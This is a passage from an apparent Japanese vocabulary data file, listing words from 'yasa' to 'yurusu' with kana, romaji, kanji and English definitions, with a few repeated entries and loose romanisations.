restaurant)\"\n\t},\n\n\t{\n\t\t'kana':'やさ',\n\t\t'romaji':'yasa',\n\t\t'kanji':'優',\n\t\t'definition':\"gentle;affectionate\"\n\t},\n\n\t{\n\t\t'kana':'やさい',\n\t\t'romaji':'yasai',\n\t\t'kanji':'野菜',\n\t\t'definition':\"vegetable\"\n\t},\n\n\t{\n\t\t'kana':'やさしい',\n\t\t'romaji':'yasashii',\n\t\t'kanji':'優しい',\n\t\t'definition':\"tender;kind;gentle;graceful;affectionate;amiable;suave\"\n\t},\n\n\t{\n\t\t'kana':'やさしい',\n\t\t'romaji':'yasashii',\n\t\t'kanji':'易しい',\n\t\t'definition':\"easy;plain;simple\"\n\t},\n\n\t{\n\t\t'kana':'やせい',\n\t\t'romaji':'yasei',\n\t\t'kanji':'野生',\n\t\t'definition':\"wild\"\n\t},\n\n\t{\n\t\t'kana':'やせる',\n\t\t'romaji':'yaseru',\n\t\t'kanji':'痩せる',\n\t\t'definition':\"to become thin;to lose weight;to reduce (one's) weight;to slim\"\n\t},\n\n\t{\n\t\t'kana':'やしき',\n\t\t'romaji':'yashiki',\n\t\t'kanji':'屋敷',\n\t\t'definition':\"mansion\"\n\t},\n\n\t{\n\t\t'kana':'やしん',\n\t\t'romaji':'yashin',\n\t\t'kanji':'野心',\n\t\t'definition':\"ambition;aspiration;designs;treachery\"\n\t},\n\n\t{\n\t\t'kana':'やしなう',\n\t\t'romaji':'yashinau',\n\t\t'kanji':'養う',\n\t\t'definition':\"to rear;to maintain;to cultivate\"\n\t},\n\n\t{\n\t\t'kana':'やしろ',\n\t\t'romaji':'yashiro',\n\t\t'kanji':'社',\n\t\t'definition':\"Shinto shrine\"\n\t},\n\n\t{\n\t\t'kana':'やすい',\n\t\t'romaji':'yasui',\n\t\t'kanji':'易い',\n\t\t'definition':\"easy\"\n\t},\n\n\t{\n\t\t'kana':'やすい',\n\t\t'romaji':'yasui',\n\t\t'kanji':'安い',\n\t\t'definition':\"cheap;inexpensive;peaceful;quiet;gossipy;thoughtless\"\n\t},\n\n\t{\n\t\t'kana':'やすめる',\n\t\t'romaji':'yasumeru',\n\t\t'kanji':'休める',\n\t\t'definition':\"to rest;to suspend;to give relief\"\n\t},\n\n\t{\n\t\t'kana':'やすみ',\n\t\t'romaji':'yasumi',\n\t\t'kanji':'休み',\n\t\t'definition':\"rest;recess;respite;suspension;vacation;holiday;absence;moulting\"\n\t},\n\n\t{\n\t\t'kana':'やすむ',\n\t\t'romaji':'yasumu',\n\t\t'kanji':'休む',\n\t\t'definition':\"to rest;to have a break;to take a day off;to be finished;to be absent;to retire;to sleep\"\n\t},\n\n\t{\n\t\t'kana':'やすっぽい',\n\t\t'romaji':'yasuppoi',\n\t\t'kanji':'安っぽい',\n\t\t'definition':\"cheap-looking;tawdry;insignificant\"\n\t},\n\n\t{\n\t\t'kana':'やたらに',\n\t\t'romaji':'yatarani',\n\t\t'kanji':'矢鱈に',\n\t\t'definition':\"randomly;recklessly;blindly\"\n\t},\n\n\t{\n\t\t'kana':'やっと',\n\t\t'romaji':'yato',\n\t\t'kanji':'',\n\t\t'definition':\"at last;at length\"\n\t},\n\n\t{\n\t\t'kana':'やとう',\n\t\t'romaji':'yatou',\n\t\t'kanji':'雇う',\n\t\t'definition':\"to employ;to hire\"\n\t},\n\n\t{\n\t\t'kana':'やとう',\n\t\t'romaji':'yatou',\n\t\t'kanji':'野党',\n\t\t'definition':\"opposition party\"\n\t},\n\n\t{\n\t\t'kana':'やっつ',\n\t\t'romaji':'yatsu',\n\t\t'kanji':'八つ',\n\t\t'definition':\"(num) eight\"\n\t},\n\n\t{\n\t\t'kana':'やっつける',\n\t\t'romaji':'yattsukeru',\n\t\t'kanji':'やっ付ける',\n\t\t'definition':\"to beat\"\n\t},\n\n\t{\n\t\t'kana':'やわらげる',\n\t\t'romaji':'yawarageru',\n\t\t'kanji':'和らげる',\n\t\t'definition':\"to soften;to moderate;to relieve\"\n\t},\n\n\t{\n\t\t'kana':'やわらかい',\n\t\t'romaji':'yawarakai',\n\t\t'kanji':'軟らかい',\n\t\t'definition':\"soft;tender;limp\"\n\t},\n\n\t{\n\t\t'kana':'やわらかい',\n\t\t'romaji':'yawarakai',\n\t\t'kanji':'柔らかい',\n\t\t'definition':\"soft;tender;limp\"\n\t},\n\n\t{\n\t\t'kana':'やや',\n\t\t'romaji':'yaya',\n\t\t'kanji':'稍',\n\t\t'definition':\"a little;partially;somewhat;a short time;a while\"\n\t},\n\n\t{\n\t\t'kana':'ややこしい',\n\t\t'romaji':'yayakoshii',\n\t\t'kanji':'',\n\t\t'definition':\"puzzling;tangled;complicated;complex\"\n\t},\n\n\t{\n\t\t'kana':'よ',\n\t\t'romaji':'yo',\n\t\t'kanji':'世',\n\t\t'definition':\"world;society;age;generation\"\n\t},\n\n\t{\n\t\t'kana':'よあけ',\n\t\t'romaji':'yoake',\n\t\t'kanji':'夜明け',\n\t\t'definition':\"dawn;daybreak\"\n\t},\n\n\t{\n\t\t'kana':'よび',\n\t\t'romaji':'yobi',\n\t\t'kanji':'予備',\n\t\t'definition':\"preparation;preliminaries;reserve;spare\"\n\t},\n\n\t{\n\t\t'kana':'よびだす',\n\t\t'romaji':'yobidasu',\n\t\t'kanji':'呼び出す',\n\t\t'definition':\"to summon;to call (e.g. phone)\"\n\t},\n\n\t{\n\t\t'kana':'よびかける',\n\t\t'romaji':'yobikakeru',\n\t\t'kanji':'呼び掛ける',\n\t\t'definition':\"to call out to;to accost;to address (crowd);to appeal\"\n\t},\n\n\t{\n\t\t'kana':'よびとめる',\n\t\t'romaji':'yobitomeru',\n\t\t'kanji':'呼び止める',\n\t\t'definition':\"to challenge;to call somebody to halt\"\n\t},\n\n\t{\n\t\t'kana':'よぼう',\n\t\t'romaji':'yobou',\n\t\t'kanji':'予防',\n\t\t'definition':\"prevention;precaution;protection against\"\n\t},\n\n\t{\n\t\t'kana':'よぶ',\n\t\t'romaji':'yobu',\n\t\t'kanji':'呼ぶ',\n\t\t'definition':\"to call out;to invite\"\n\t},\n\n\t{\n\t\t'kana':'よぶん',\n\t\t'romaji':'yobun',\n\t\t'kanji':'余分',\n\t\t'definition':\"extra;excess;surplus\"\n\t},\n\n\t{\n\t\t'kana':'よち',\n\t\t'romaji':'yochi',\n\t\t'kanji':'余地',\n\t\t'definition':\"place;room;margin;scope\"\n\t},\n\n\t{\n\t\t'kana':'よふかし',\n\t\t'romaji':'yofukashi',\n\t\t'kanji':'夜更かし',\n\t\t'definition':\"staying up late;keeping late hours;sitting up late at night;nighthawk\"\n\t},\n\n\t{\n\t\t'kana':'よふけ',\n\t\t'romaji':'yofuke',\n\t\t'kanji':'夜更け',\n\t\t'definition':\"late at night\"\n\t},\n\n\t{\n\t\t'kana':'よほう',\n\t\t'romaji':'yohou',\n\t\t'kanji':'予報',\n\t\t'definition':\"forecast;prediction\"\n\t},\n\n\t{\n\t\t'kana':'よい',\n\t\t'romaji':'yoi',\n\t\t'kanji':'好い',\n\t\t'definition':\"good\"\n\t},\n\n\t{\n\t\t'kana':'よっか',\n\t\t'romaji':'yoka',\n\t\t'kanji':'四日',\n\t\t'definition':\"4th day of month\"\n\t},\n\n\t{\n\t\t'kana':'よか',\n\t\t'romaji':'yoka',\n\t\t'kanji':'余暇',\n\t\t'definition':\"leisure;leisure time;spare time\"\n\t},\n\n\t{\n\t\t'kana':'よかん',\n\t\t'romaji':'yokan',\n\t\t'kanji':'予感',\n\t\t'definition':\"presentiment;premonition\"\n\t},\n\n\t{\n\t\t'kana':'よけい',\n\t\t'romaji':'yokei',\n\t\t'kanji':'余計',\n\t\t'definition':\"too much;unnecessary;abundance;surplus;excess;superfluity\"\n\t},\n\n\t{\n\t\t'kana':'よき',\n\t\t'romaji':'yoki',\n\t\t'kanji':'予期',\n\t\t'definition':\"expectation;assume will happen;forecast\"\n\t},\n\n\t{\n\t\t'kana':'よきん',\n\t\t'romaji':'yokin',\n\t\t'kanji':'預金',\n\t\t'definition':\"deposit;bank account\"\n\t},\n\n\t{\n\t\t'kana':'よこ',\n\t\t'romaji':'yoko',\n\t\t'kanji':'横',\n\t\t'definition':\"beside;side;width\"\n\t},\n\n\t{\n\t\t'kana':'よこづな',\n\t\t'romaji':'yokoduna',\n\t\t'kanji':'横綱',\n\t\t'definition':\"sumo grand champion\"\n\t},\n\n\t{\n\t\t'kana':'よこぎる',\n\t\t'romaji':'yokogiru',\n\t\t'kanji':'横切る',\n\t\t'definition':\"to cross (e.g. arms);to traverse\"\n\t},\n\n\t{\n\t\t'kana':'よこす',\n\t\t'romaji':'yokosu',\n\t\t'kanji':'寄こす',\n\t\t'definition':\"to send;to forward\"\n\t},\n\n\t{\n\t\t'kana':'よく',\n\t\t'romaji':'yoku',\n\t\t'kanji':'',\n\t\t'definition':\"frequently;often\"\n\t},\n\n\t{\n\t\t'kana':'よく',\n\t\t'romaji':'yoku',\n\t\t'kanji':'',\n\t\t'definition':\"frequently;often\"\n\t},\n\n\t{\n\t\t'kana':'よく',\n\t\t'romaji':'yoku',\n\t\t'kanji':'',\n\t\t'definition':\"frequently;often\"\n\t},\n\n\t{\n\t\t'kana':'よくあつ',\n\t\t'romaji':'yokuatsu',\n\t\t'kanji':'抑圧',\n\t\t'definition':\"check;restraint;oppression;suppression\"\n\t},\n\n\t{\n\t\t'kana':'よくばり',\n\t\t'romaji':'yokubari',\n\t\t'kanji':'欲張り',\n\t\t'definition':\"avarice;covetousness;greed\"\n\t},\n\n\t{\n\t\t'kana':'よくぼう',\n\t\t'romaji':'yokubou',\n\t\t'kanji':'欲望',\n\t\t'definition':\"desire;appetite\"\n\t},\n\n\t{\n\t\t'kana':'よくふかい',\n\t\t'romaji':'yokufukai',\n\t\t'kanji':'欲深い',\n\t\t'definition':\"greedy\"\n\t},\n\n\t{\n\t\t'kana':'よくせい',\n\t\t'romaji':'yokusei',\n\t\t'kanji':'抑制',\n\t\t'definition':\"suppression\"\n\t},\n\n\t{\n\t\t'kana':'よくしつ',\n\t\t'romaji':'yokushitsu',\n\t\t'kanji':'浴室',\n\t\t'definition':\"bathroom;bath\"\n\t},\n\n\t{\n\t\t'kana':'よきょう',\n\t\t'romaji':'yokyou',\n\t\t'kanji':'余興',\n\t\t'definition':\"side show;entertainment\"\n\t},\n\n\t{\n\t\t'kana':'よめ',\n\t\t'romaji':'yome',\n\t\t'kanji':'嫁',\n\t\t'definition':\"bride;daughter-in-law\"\n\t},\n\n\t{\n\t\t'kana':'よみ',\n\t\t'romaji':'yomi',\n\t\t'kanji':'読み',\n\t\t'definition':\"reading\"\n\t},\n\n\t{\n\t\t'kana':'よみあげる',\n\t\t'romaji':'yomiageru',\n\t\t'kanji':'読み上げる',\n\t\t'definition':\"to read out loud (and clearly);to call a roll\"\n\t},\n\n\t{\n\t\t'kana':'よみがえる',\n\t\t'romaji':'yomigaeru',\n\t\t'kanji':'蘇る',\n\t\t'definition':\"to be resurrected;to be revived;to be resuscitated;to be rehabilitated\"\n\t},\n\n\t{\n\t\t'kana':'よむ',\n\t\t'romaji':'yomu',\n\t\t'kanji':'読む',\n\t\t'definition':\"to read\"\n\t},\n\n\t{\n\t\t'kana':'よのなか',\n\t\t'romaji':'yononaka',\n\t\t'kanji':'世の中',\n\t\t'definition':\"society;the world;the times\"\n\t},\n\n\t{\n\t\t'kana':'よっぱらい',\n\t\t'romaji':'yopparai',\n\t\t'kanji':'酔っ払い',\n\t\t'definition':\"drunkard\"\n\t},\n\n\t{\n\t\t'kana':'よっぽど',\n\t\t'romaji':'yoppodo',\n\t\t'kanji':'余程',\n\t\t'definition':\"very;greatly;much;to a large extent;quite\"\n\t},\n\n\t{\n\t\t'kana':'より',\n\t\t'romaji':'yori',\n\t\t'kanji':'',\n\t\t'definition':\"from;out of;since;than\"\n\t},\n\n\t{\n\t\t'kana':'より',\n\t\t'romaji':'yori',\n\t\t'kanji':'',\n\t\t'definition':\"from;out of;since;than\"\n\t},\n\n\t{\n\t\t'kana':'よりかかる',\n\t\t'romaji':'yorikakaru',\n\t\t'kanji':'寄り掛かる',\n\t\t'definition':\"to lean against;to recline on;to lean on;to rely on\"\n\t},\n\n\t{\n\t\t'kana':'よろこび',\n\t\t'romaji':'yorokobi',\n\t\t'kanji':'喜び',\n\t\t'definition':\"joy;(a) delight;rapture;pleasure;gratification;rejoicing;congratulations;felicitations\"\n\t},\n\n\t{\n\t\t'kana':'よろこぶ',\n\t\t'romaji':'yorokobu',\n\t\t'kanji':'喜ぶ',\n\t\t'definition':\"to be delighted;to be glad\"\n\t},\n\n\t{\n\t\t'kana':'ヨーロッパ',\n\t\t'romaji':'yo-ropa',\n\t\t'kanji':'',\n\t\t'definition':\"Europe\"\n\t},\n\n\t{\n\t\t'kana':'よろしい',\n\t\t'romaji':'yoroshii',\n\t\t'kanji':'宜しい',\n\t\t'definition':\"good;OK;all right;fine;very well;will do;may;can\"\n\t},\n\n\t{\n\t\t'kana':'よろしく',\n\t\t'romaji':'yoroshiku',\n\t\t'kanji':'宜しく',\n\t\t'definition':\"well;properly;suitably;best regards;please remember me\"\n\t},\n\n\t{\n\t\t'kana':'よる',\n\t\t'romaji':'yoru',\n\t\t'kanji':'夜',\n\t\t'definition':\"evening;night\"\n\t},\n\n\t{\n\t\t'kana':'よる',\n\t\t'romaji':'yoru',\n\t\t'kanji':'因る',\n\t\t'definition':\"to come from\"\n\t},\n\n\t{\n\t\t'kana':'よる',\n\t\t'romaji':'yoru',\n\t\t'kanji':'寄る',\n\t\t'definition':\"to visit;to drop in;to approach\"\n\t},\n\n\t{\n\t\t'kana':'よる',\n\t\t'romaji':'yoru',\n\t\t'kanji':'夜',\n\t\t'definition':\"evening;night\"\n\t},\n\n\t{\n\t\t'kana':'よる',\n\t\t'romaji':'yoru',\n\t\t'kanji':'夜',\n\t\t'definition':\"evening;night\"\n\t},\n\n\t{\n\t\t'kana':'よると',\n\t\t'romaji':'yoruto',\n\t\t'kanji':'',\n\t\t'definition':\"according to\"\n\t},\n\n\t{\n\t\t'kana':'よさん',\n\t\t'romaji':'yosan',\n\t\t'kanji':'予算',\n\t\t'definition':\"estimate;budget\"\n\t},\n\n\t{\n\t\t'kana':'よせる',\n\t\t'romaji':'yoseru',\n\t\t'kanji':'寄せる',\n\t\t'definition':\"to collect;to gather;to add;to put aside\"\n\t},\n\n\t{\n\t\t'kana':'よし',\n\t\t'romaji':'yoshi',\n\t\t'kanji':'葦',\n\t\t'definition':\"reed;bulrush\"\n\t},\n\n\t{\n\t\t'kana':'よし',\n\t\t'romaji':'yoshi',\n\t\t'kanji':'葦',\n\t\t'definition':\"reed;bulrush\"\n\t},\n\n\t{\n\t\t'kana':'よしあし',\n\t\t'romaji':'yoshiashi',\n\t\t'kanji':'善し悪し',\n\t\t'definition':\"good or bad;merits or demerits;quality;suitability\"\n\t},\n\n\t{\n\t\t'kana':'よしゅう',\n\t\t'romaji':'yoshuu',\n\t\t'kanji':'予習',\n\t\t'definition':\"preparation for a lesson\"\n\t},\n\n\t{\n\t\t'kana':'よそ',\n\t\t'romaji':'yoso',\n\t\t'kanji':'余所',\n\t\t'definition':\"another place;somewhere else;strange parts\"\n\t},\n\n\t{\n\t\t'kana':'よそく',\n\t\t'romaji':'yosoku',\n\t\t'kanji':'予測',\n\t\t'definition':\"prediction;estimation\"\n\t},\n\n\t{\n\t\t'kana':'よそみ',\n\t\t'romaji':'yosomi',\n\t\t'kanji':'余所見',\n\t\t'definition':\"looking away;looking aside\"\n\t},\n\n\t{\n\t\t'kana':'よそう',\n\t\t'romaji':'yosou',\n\t\t'kanji':'予想',\n\t\t'definition':\"expectation;anticipation;prediction;forecast\"\n\t},\n\n\t{\n\t\t'kana':'よす',\n\t\t'romaji':'yosu',\n\t\t'kanji':'止す',\n\t\t'definition':\"to cease;to abolish;to resign;to give up\"\n\t},\n\n\t{\n\t\t'kana':'よって',\n\t\t'romaji':'yote',\n\t\t'kanji':'依って',\n\t\t'definition':\"therefore;consequently;accordingly;because of\"\n\t},\n\n\t{\n\t\t'kana':'よてい',\n\t\t'romaji':'yotei',\n\t\t'kanji':'予定',\n\t\t'definition':\"plans;arrangement;schedule;program;expectation;estimate\"\n\t},\n\n\t{\n\t\t'kana':'ヨット',\n\t\t'romaji':'yoto',\n\t\t'kanji':'',\n\t\t'definition':\"yacht\"\n\t},\n\n\t{\n\t\t'kana':'よとう',\n\t\t'romaji':'yotou',\n\t\t'kanji':'与党',\n\t\t'definition':\"government party;(ruling) party in power;government\"\n\t},\n\n\t{\n\t\t'kana':'よっつ',\n\t\t'romaji':'yotsu',\n\t\t'kanji':'四つ',\n\t\t'definition':\"four\"\n\t},\n\n\t{\n\t\t'kana':'よつかど',\n\t\t'romaji':'yotsukado',\n\t\t'kanji':'四つ角',\n\t\t'definition':\"four corners;crossroads\"\n\t},\n\n\t{\n\t\t'kana':'よう',\n\t\t'romaji':'you',\n\t\t'kanji':'酔う',\n\t\t'definition':\"to get drunk;to become intoxicated\"\n\t},\n\n\t{\n\t\t'kana':'よう',\n\t\t'romaji':'you',\n\t\t'kanji':'酔う',\n\t\t'definition':\"to get drunk;to become intoxicated\"\n\t},\n\n\t{\n\t\t'kana':'よう',\n\t\t'romaji':'you',\n\t\t'kanji':'用',\n\t\t'definition':\"task;business;use\"\n\t},\n\n\t{\n\t\t'kana':'ようび',\n\t\t'romaji':'youbi',\n\t\t'kanji':'曜日',\n\t\t'definition':\"day of the week\"\n\t},\n\n\t{\n\t\t'kana':'ようぼう',\n\t\t'romaji':'youbou',\n\t\t'kanji':'要望',\n\t\t'definition':\"demand for;request\"\n\t},\n\n\t{\n\t\t'kana':'ようぶん',\n\t\t'romaji':'youbun',\n\t\t'kanji':'養分',\n\t\t'definition':\"nourishment;nutrient\"\n\t},\n\n\t{\n\t\t'kana':'ようち',\n\t\t'romaji':'youchi',\n\t\t'kanji':'幼稚',\n\t\t'definition':\"infancy;childish;infantile\"\n\t},\n\n\t{\n\t\t'kana':'ようちえん',\n\t\t'romaji':'youchien',\n\t\t'kanji':'幼稚園',\n\t\t'definition':\"kindergarten\"\n\t},\n\n\t{\n\t\t'kana':'ようえき',\n\t\t'romaji':'youeki',\n\t\t'kanji':'溶液',\n\t\t'definition':\"solution (liquid)\"\n\t},\n\n\t{\n\t\t'kana':'ようふく',\n\t\t'romaji':'youfuku',\n\t\t'kanji':'洋服',\n\t\t'definition':\"Western-style clothes\"\n\t},\n\n\t{\n\t\t'kana':'ようふう',\n\t\t'romaji':'youfuu',\n\t\t'kanji':'洋風',\n\t\t'definition':\"western style\"\n\t},\n\n\t{\n\t\t'kana':'ようがん',\n\t\t'romaji':'yougan',\n\t\t'kanji':'溶岩',\n\t\t'definition':\"lava\"\n\t},\n\n\t{\n\t\t'kana':'ようご',\n\t\t'romaji':'yougo',\n\t\t'kanji':'用語',\n\t\t'definition':\"term;terminology\"\n\t},\n\n\t{\n\t\t'kana':'ようご',\n\t\t'romaji':'yougo',\n\t\t'kanji':'養護',\n\t\t'definition':\"protection;nursing;protective care\"\n\t},\n\n\t{\n\t\t'kana':'ようひん',\n\t\t'romaji':'youhin',\n\t\t'kanji':'用品',\n\t\t'definition':\"articles;supplies;parts\"\n\t},\n\n\t{\n\t\t'kana':'ようひんてん',\n\t\t'romaji':'youhinten',\n\t\t'kanji':'洋品店',\n\t\t'definition':\"shop which handles Western-style apparel and accessories\"\n\t},\n\n\t{\n\t\t'kana':'ようほう',\n\t\t'romaji':'youhou',\n\t\t'kanji':'用法',\n\t\t'definition':\"directions;rules of use\"\n\t},\n\n\t{\n\t\t'kana':'ようい',\n\t\t'romaji':'youi',\n\t\t'kanji':'容易',\n\t\t'definition':\"easy;simple;plain\"\n\t},\n\n\t{\n\t\t'kana':'ようい',\n\t\t'romaji':'youi',\n\t\t'kanji':'用意',\n\t\t'definition':\"preparation\"\n\t},\n\n\t{\n\t\t'kana':'よういん',\n\t\t'romaji':'youin',\n\t\t'kanji':'要因',\n\t\t'definition':\"primary factor;main cause\"\n\t},\n\n\t{\n\t\t'kana':'ようじ',\n\t\t'romaji':'youji',\n\t\t'kanji':'幼児',\n\t\t'definition':\"infant;baby;child\"\n\t},\n\n\t{\n\t\t'kana':'ようじ',\n\t\t'romaji':'youji',\n\t\t'kanji':'用事',\n\t\t'definition':\"tasks;things to do\"\n\t},\n\n\t{\n\t\t'kana':'ようじん',\n\t\t'romaji':'youjin',\n\t\t'kanji':'用心',\n\t\t'definition':\"care;precaution;guarding;caution\"\n\t},\n\n\t{\n\t\t'kana':'ようか',\n\t\t'romaji':'youka',\n\t\t'kanji':'八日',\n\t\t'definition':\"eight days;the eighth (day of the month)\"\n\t},\n\n\t{\n\t\t'kana':'ようけん',\n\t\t'romaji':'youken',\n\t\t'kanji':'用件',\n\t\t'definition':\"business\"\n\t},\n\n\t{\n\t\t'kana':'ようき',\n\t\t'romaji':'youki',\n\t\t'kanji':'陽気',\n\t\t'definition':\"season;weather;cheerfulness\"\n\t},\n\n\t{\n\t\t'kana':'ようき',\n\t\t'romaji':'youki',\n\t\t'kanji':'容器',\n\t\t'definition':\"container;vessel\"\n\t},\n\n\t{\n\t\t'kana':'ようきゅう',\n\t\t'romaji':'youkyuu',\n\t\t'kanji':'要求',\n\t\t'definition':\"request;demand;requisition\"\n\t},\n\n\t{\n\t\t'kana':'ようもう',\n\t\t'romaji':'youmou',\n\t\t'kanji':'羊毛',\n\t\t'definition':\"wool\"\n\t},\n\n\t{\n\t\t'kana':'ようりょう',\n\t\t'romaji':'youryou',\n\t\t'kanji':'要領',\n\t\t'definition':\"point;gist;essentials;outline\"\n\t},\n\n\t{\n\t\t'kana':'ようせい',\n\t\t'romaji':'yousei',\n\t\t'kanji':'養成',\n\t\t'definition':\"training;development\"\n\t},\n\n\t{\n\t\t'kana':'ようせい',\n\t\t'romaji':'yousei',\n\t\t'kanji':'要請',\n\t\t'definition':\"claim;demand;request;application\"\n\t},\n\n\t{\n\t\t'kana':'ようせき',\n\t\t'romaji':'youseki',\n\t\t'kanji':'容積',\n\t\t'definition':\"capacity;volume\"\n\t},\n\n\t{\n\t\t'kana':'ようし',\n\t\t'romaji':'youshi',\n\t\t'kanji':'要旨',\n\t\t'definition':\"gist;essentials;summary;fundamentals\"\n\t},\n\n\t{\n\t\t'kana':'ようし',\n\t\t'romaji':'youshi',\n\t\t'kanji':'用紙',\n\t\t'definition':\"blank form\"\n\t},\n\n\t{\n\t\t'kana':'ようしき',\n\t\t'romaji':'youshiki',\n\t\t'kanji':'様式',\n\t\t'definition':\"style;form;pattern\"\n\t},\n\n\t{\n\t\t'kana':'ようそ',\n\t\t'romaji':'youso',\n\t\t'kanji':'要素',\n\t\t'definition':\"element\"\n\t},\n\n\t{\n\t\t'kana':'ようそう',\n\t\t'romaji':'yousou',\n\t\t'kanji':'様相',\n\t\t'definition':\"aspect\"\n\t},\n\n\t{\n\t\t'kana':'ようす',\n\t\t'romaji':'yousu',\n\t\t'kanji':'様子',\n\t\t'definition':\"aspect;state;appearance\"\n\t},\n\n\t{\n\t\t'kana':'ようする',\n\t\t'romaji':'yousuru',\n\t\t'kanji':'要する',\n\t\t'definition':\"to demand;to require;to take\"\n\t},\n\n\t{\n\t\t'kana':'ようするに',\n\t\t'romaji':'yousuruni',\n\t\t'kanji':'要するに',\n\t\t'definition':\"in a word;after all;the point is ..;in short ..\"\n\t},\n\n\t{\n\t\t'kana':'ようてん',\n\t\t'romaji':'youten',\n\t\t'kanji':'要点',\n\t\t'definition':\"gist;main point\"\n\t},\n\n\t{\n\t\t'kana':'ようと',\n\t\t'romaji':'youto',\n\t\t'kanji':'用途',\n\t\t'definition':\"use;usefulness\"\n\t},\n\n\t{\n\t\t'kana':'ようやく',\n\t\t'romaji':'youyaku',\n\t\t'kanji':'漸く',\n\t\t'definition':\"gradually;finally;hardly\"\n\t},\n\n\t{\n\t\t'kana':'よわい',\n\t\t'romaji':'yowai',\n\t\t'kanji':'弱い',\n\t\t'definition':\"weak;frail;delicate;tender;unskilled;weak (wine)\"\n\t},\n\n\t{\n\t\t'kana':'よわまる',\n\t\t'romaji':'yowamaru',\n\t\t'kanji':'弱まる',\n\t\t'definition':\"to abate;to weaken;to be emaciated;to be dejected;to be perplexed\"\n\t},\n\n\t{\n\t\t'kana':'よわめる',\n\t\t'romaji':'yowameru',\n\t\t'kanji':'弱める',\n\t\t'definition':\"to weaken\"\n\t},\n\n\t{\n\t\t'kana':'よわる',\n\t\t'romaji':'yowaru',\n\t\t'kanji':'弱る',\n\t\t'definition':\"to weaken;to be troubled;to be downcast;to be emaciated;to be dejected;to be perplexed;to impair\"\n\t},\n\n\t{\n\t\t'kana':'よやく',\n\t\t'romaji':'yoyaku',\n\t\t'kanji':'予約',\n\t\t'definition':\"reservation;contract;subscription;booking;pledge;advance order\"\n\t},\n\n\t{\n\t\t'kana':'よゆう',\n\t\t'romaji':'yoyuu',\n\t\t'kanji':'余裕',\n\t\t'definition':\"surplus;composure;margin;room;time;allowance;scope;rope\"\n\t},\n\n\t{\n\t\t'kana':'ゆ',\n\t\t'romaji':'yu',\n\t\t'kanji':'湯',\n\t\t'definition':\"hot water\"\n\t},\n\n\t{\n\t\t'kana':'ゆび',\n\t\t'romaji':'yubi',\n\t\t'kanji':'指',\n\t\t'definition':\"finger\"\n\t},\n\n\t{\n\t\t'kana':'ゆびさす',\n\t\t'romaji':'yubisasu',\n\t\t'kanji':'指差す',\n\t\t'definition':\"to point at\"\n\t},\n\n\t{\n\t\t'kana':'ゆびわ',\n\t\t'romaji':'yubiwa',\n\t\t'kanji':'指輪',\n\t\t'definition':\"(finger) ring\"\n\t},\n\n\t{\n\t\t'kana':'ゆだん',\n\t\t'romaji':'yudan',\n\t\t'kanji':'油断',\n\t\t'definition':\"negligence;unpreparedness\"\n\t},\n\n\t{\n\t\t'kana':'ゆでる',\n\t\t'romaji':'yuderu',\n\t\t'kanji':'茹でる',\n\t\t'definition':\"to boil\"\n\t},\n\n\t{\n\t\t'kana':'ゆげ',\n\t\t'romaji':'yuge',\n\t\t'kanji':'湯気',\n\t\t'definition':\"steam;vapour\"\n\t},\n\n\t{\n\t\t'kana':'ゆいいつ',\n\t\t'romaji':'yuiitsu',\n\t\t'kanji':'唯一',\n\t\t'definition':\"only;sole;unique\"\n\t},\n\n\t{\n\t\t'kana':'ゆかい',\n\t\t'romaji':'yukai',\n\t\t'kanji':'愉快',\n\t\t'definition':\"pleasant;happy\"\n\t},\n\n\t{\n\t\t'kana':'ゆかた',\n\t\t'romaji':'yukata',\n\t\t'kanji':'浴衣',\n\t\t'definition':\"bathrobe;informal summer kimono;yukata\"\n\t},\n\n\t{\n\t\t'kana':'ゆけつ',\n\t\t'romaji':'yuketsu',\n\t\t'kanji':'輸血',\n\t\t'definition':\"blood transfusion\"\n\t},\n\n\t{\n\t\t'kana':'ゆき',\n\t\t'romaji':'yuki',\n\t\t'kanji':'雪',\n\t\t'definition':\"snow\"\n\t},\n\n\t{\n\t\t'kana':'ゆっくり',\n\t\t'romaji':'yukkuri',\n\t\t'kanji':'',\n\t\t'definition':\"slowly;at ease\"\n\t},\n\n\t{\n\t\t'kana':'ゆくえ',\n\t\t'romaji':'yukue',\n\t\t'kanji':'行方',\n\t\t'definition':\"one's whereabouts\"\n\t},\n\n\t{\n\t\t'kana':'ゆめ',\n\t\t'romaji':'yume',\n\t\t'kanji':'夢',\n\t\t'definition':\"dream\"\n\t},\n\n\t{\n\t\t'kana':'ゆみ',\n\t\t'romaji':'yumi',\n\t\t'kanji':'弓',\n\t\t'definition':\"bow (and arrow)\"\n\t},\n\n\t{\n\t\t'kana':'ユーモア',\n\t\t'romaji':'yu-moa',\n\t\t'kanji':'',\n\t\t'definition':\"humor\"\n\t},\n\n\t{\n\t\t'kana':'ユニフォーム',\n\t\t'romaji':'yunifwo-mu',\n\t\t'kanji':'',\n\t\t'definition':\"uniform\"\n\t},\n\n\t{\n\t\t'kana':'ユニーク',\n\t\t'romaji':'yuni-ku',\n\t\t'kanji':'',\n\t\t'definition':\"unique\"\n\t},\n\n\t{\n\t\t'kana':'ゆのみ',\n\t\t'romaji':'yunomi',\n\t\t'kanji':'湯飲み',\n\t\t'definition':\"teacup\"\n\t},\n\n\t{\n\t\t'kana':'ゆにゅう',\n\t\t'romaji':'yunyuu',\n\t\t'kanji':'輸入',\n\t\t'definition':\"importation;import;introduction\"\n\t},\n\n\t{\n\t\t'kana':'ゆらぐ',\n\t\t'romaji':'yuragu',\n\t\t'kanji':'揺らぐ',\n\t\t'definition':\"to swing;to sway;to shake;to tremble\"\n\t},\n\n\t{\n\t\t'kana':'ゆれる',\n\t\t'romaji':'yureru',\n\t\t'kanji':'揺れる',\n\t\t'definition':\"to shake;to sway\"\n\t},\n\n\t{\n\t\t'kana':'ゆるい',\n\t\t'romaji':'yurui',\n\t\t'kanji':'緩い',\n\t\t'definition':\"loose;lenient;slow\"\n\t},\n\n\t{\n\t\t'kana':'ゆるめる',\n\t\t'romaji':'yurumeru',\n\t\t'kanji':'緩める',\n\t\t'definition':\"to loosen;to slow down\"\n\t},\n\n\t{\n\t\t'kana':'ゆるむ',\n\t\t'romaji':'yurumu',\n\t\t'kanji':'緩む',\n\t\t'definition':\"to become loose;to slacken\"\n\t},\n\n\t{\n\t\t'kana':'ゆるす',\n\t\t'romaji':'yurusu',\n\t\t'kanji':'許す',\n\t\t'definition':\"to permit;to allow;to approve;to exempt (from fine);to excuse (from);to confide in;to forgive;to pardon;to excuse;to release;to let 